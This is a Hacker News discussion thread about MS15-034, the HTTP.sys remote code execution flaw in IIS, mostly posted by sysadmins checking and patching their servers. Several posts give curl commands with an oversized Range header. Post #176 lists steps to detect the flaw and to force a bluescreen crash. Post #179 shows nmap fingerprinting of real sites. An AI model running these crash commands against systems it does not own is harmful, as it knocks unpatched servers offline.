Live data from Hacker News

Remote Kernel Code Execution Via HTTP Request In IIS On Windows

ma.ttias.be

171–180 of 201 posts

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#171
post #29

I tried to send the bad curl request to our servers (test env, obviously) and I didn't get any error. It seems I should be getting "Requested Range Not Satisfiable" if the server is vulnerable and "The request has an invalid header name" if it's patched. I'm getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it? EDIT : It is indeed related to "Output Cache" set…

Have tried on all our production facing domains (with and without CDN and get 200 responses also. One server (our development server) has proven vulnerable. Maybe reverse proxies are sanitizing the results? $ curl -v 10.100.0.40/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615" * About to connect() to 10.100.0.40 port 80 (#0) * Trying 10.100.0.40... * Adding handle: conn: 0x1d83278 * Adding handle: send…

I've just tried on AWS Elastic Beanstalk https servers and not been able to BSOD. We don't have output caching enabled.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#172
post #29

I tried to send the bad curl request to our servers (test env, obviously) and I didn't get any error. It seems I should be getting "Requested Range Not Satisfiable" if the server is vulnerable and "The request has an invalid header name" if it's patched. I'm getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it? EDIT : It is indeed related to "Output Cache" set…

As all our servers are behind a traffic manager product like F5/ZXTM I'm experimenting with removing the range header so it never reaches the webserver as some app's rely on kernel mode caching to achieve performance. Also my tests seem to indicate that just having kernel mode caching enabled even if you dont have any rules still seem to cause a BSOD.

If I understood well, the HTTP request with the Range header is just a way to CHECK for the vulnerability and it is not THE vulnerability.

The vulnerability allows execute code remotly under the Syetem account.

Am I wrong?

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#173

The part that makes this really nasty is it doesn't just impact webservers. IIS is highly leveraged by other Microsoft technologies, everything from WSUS to SMTP to Exchange to Sharepoint are affected. In my environment, I estimate that 3/4 of my servers are vulnerable.

It's not IIS. It's HTTP.SYS. New configs have Powershel remote or WinRM. They use http.Sys and are vulnerable.

Seems I'm wrong. Kernel cache has to be enabled explicitly and Powershell/WinRM don't do that. Whew.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#174
post #161

Earlier quoted context omitted.

Well, of course you can make such a web server on any OS where you can modify or extend the kernel, but TUX is not exactly a popular or recommended solution. There's a reason the reference manual is dated 2001.

To be honest, the original version of http.sys (XP SP2/Server 2003) dates back to the same period.

I didn't express myself correctly; the latest version of the reference manual is from 2001.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#175
post #162
post #158

Earlier quoted context omitted.

Isn't systemd an user space process ?

Yes. It's still on track to becoming a second kernel.

I agree that systemd is a bad idea in the sense that they are doing too much all at once. It is a fine level of arrogance to assume that there wont be problems along the way :P That being said this thread is about the poor souls who are running IIS servers.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#176
I can confirm on Windows 2K8R2 and 2K12, with Kernel Caching enabled (as per default IIS settings) and without any Kernel Caching rules, that I can reproduce the issue using the cURL method.

Steps to reproduce.

Check server is vulnerable curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

You should see a Error 416.

Force crash curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615" --and/or-- curl -v http://blah.com/images/blah.jpg -H "Range: bytes=40-18446744073709551615"

Note above: You have to specifically address a file AND use byte range 40 or 100 in my setup to make it bluescreen.

After Patching - Check Vulnerability curl -v http://blah.com/ -H "Range: bytes=00-18446744073709551615"

Response: Error 400: The request has an invalid header name

After Patching - Force Crash Test

curl -v http://blah.com/images/blah.jpg -H "Range: bytes=100-18446744073709551615"

Response: 206 Partial Content

Hope that helps.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#177
post #12

From the exploit code: memset(&serv_addr, '0', sizeof(serv_addr)); That doesn't seem to be correct. The digit character 0 is not the same as the null character ('\0'). Just write 0 or use `struct sockaddr_in serv_addr = { 0 };`.

It is common for code which is designed to trigger security bugs in systems to be published with several errors, so that skiddies can't just compile and run.

Which makes me sad. Makes it just as easy for dedicated crackers, makes it harder on busy, overworked sysadmins to check.

All the script-kids need to do is find someone to help them, so I don't really think this helps anyone.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#178

Earlier quoted context omitted.

Windows also has a TCP/IP stack in the kernel. And a GUI stack (win32k.sys).

Yup, that's not that special though. All major OS have the TCP/IP stack in the kernel. And many (but not all) OS have at least parts of their GUI stacks in the kernel.

MS actually moved the GUI stack into the kernel around NT 4. Used to be (so legend has it) if the video driver crashed on earlier versions of NT, you could restart it, and the system didn't go down. But, you know, PERFORMANCE!!1. Win.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#179
post #166
post #163

Earlier quoted context omitted.

I was wondering, is their a way to know the the type of webserver a website is using ? I mean can we do it using some kind of headers?

The "Server" response header will usually tell you but may omit a specific version depending on configuration. Use "curl -I whatever.com" to send a HEAD request and look at the headers in the response.

You can also try Nmap, but apparently it's not able to tell too much if the server doesn't reply with a header:

  nmap -T5 -sV --version-all -p 80,443 www.google.com
  Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:02 CEST
  Nmap scan report for www.google.com (80.202.12.244)
  Host is up (0.0015s latency).
  Other addresses for www.google.com (not scanned): 
  (...)
  rDNS record for 80.202.12.244: cache.google.com
  PORT    STATE SERVICE  VERSION
  80/tcp  open  http     Google httpd 2.0 (GFE)
  443/tcp open  ssl/http Google httpd 2.0 (GFE)
  Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Apparently stackoverflow (well know user of .net stack) is "unknown", but microsoft.com gives:

  nmap -T5 -sV --version-all -p 80,443 microsoft.com

  Starting Nmap 6.00 ( http://nmap.org ) at 2015-04-16 03:05 CEST
  Nmap scan report for microsoft.com (134.170.188.221)
  Host is up (0.18s latency).
  Other addresses for microsoft.com (not scanned): 
    134.170.185.46
  rDNS record for 134.170.188.221:  
    microsoftproductionstudios.org
  PORT    STATE SERVICE  VERSION
  80/tcp  open  http     Microsoft IIS httpd 8.5
  443/tcp open  ssl/http Microsoft IIS httpd 8.5
  Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
I didn't look to carefully at the so-output -- maybe there's a funky loadbalancer in front or something.

Re: Remote Kernel Code Execution Via HTTP Request In IIS On Windows

#180
post #4

Here the Microsoft Security Bulletin: https://technet.microsoft.com/library/security/ms15-034 I think the title is downplaying the severity of the bug. It's a remote code execution vulnerability in http.sys which is a webserver component running inside the kernel (yea right, great idea!) so you can get remote root via HTTP request. The blog quotes this correctly but I get the feeling the author didn't communicate it…

> http.sys which is a webserver component running inside the kernel (yea right, great idea!) I had no idea. Madness

Why is it inherently 'madness' to have part of your HTTP stack running in kernel space? I think it's generally accepted that handling TCP in the kernel isn't madness; what's the magic distinction between dealing with TCP packets from remote machines and dealing with HTTP requests from remote machines that makes one of them an acceptable activity to carry out in kernel space, and one not?

To be clear about http.sys, it's not what you would normally consider a 'web server'. It leaves things like 'serving files' and 'authentication' and stuff up to userland application processes like IIS. But it allows multiple userland applications to be routed HTTP requests directly, without an IPC dispatch.

Post reply on HN